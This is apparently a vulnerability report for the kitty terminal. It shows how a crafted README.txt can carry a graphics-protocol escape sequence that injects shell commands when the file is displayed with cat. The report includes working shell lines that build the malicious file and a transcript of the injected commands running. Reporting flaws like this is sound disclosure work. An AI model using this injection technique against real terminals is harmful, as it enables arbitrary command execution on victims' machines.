Describe the bug
When attempting to load an image file, the graphic protocol can reply with a message containing the faulty image filename in a decoded form (i.e. not base64) thus allowing for arbitrary input to be inserted.

To Reproduce
Here is a simple example showing how an attacker could craft a README.txt file that would cause the execution of arbitrary commands when displayed using cat on kitty.

Creation of a base64 encoded fake filename containing the shell commands

to be executed. Here, I am attempting to execute “date” and "uname -a".

The commands must be separated by \r (to emulate the RETURN key).

COMMANDS=$(echo -ne “\rdate\runame -a\r” | base64 -w 0)

Creation of a regular text file containing the input injection via escape sequence

echo -en “\e_Gi=666,f=100,t=f;$COMMANDS\e\\” > README.txt

In Kitty, run cat README.txt from the shell prompt to perform the input injection

(bash) ls -l README.txt -rw-r–r-- 1 xxxxxxx xxxxxxxxx 53 Nov 29 07:01 README.txt (bash) cat README.txt (bash) README.txtGi=666;EBADF:Failed to open file bash: README.txtGi=666: command not found bash: EBADF:Failed: command not found (bash) date Sun 29 Nov 2020 07:18:56 AM CET (bash) uname -a Linux brin 5.8.0-2-amd64 #1 SMP Debian 5.8.10-1 (2020-09-19) x86_64 GNU/Linux (bash) for graphics transmission with error: [2] No such file or directory

Remark: The other failed commands are caused by the rest of the escape reply. The input sequence ESC+underscore is typically interpreted by readline as the command yank-last-arg thus causing the last argument of the last command (in that case, that is “README.txt”) to be inserted.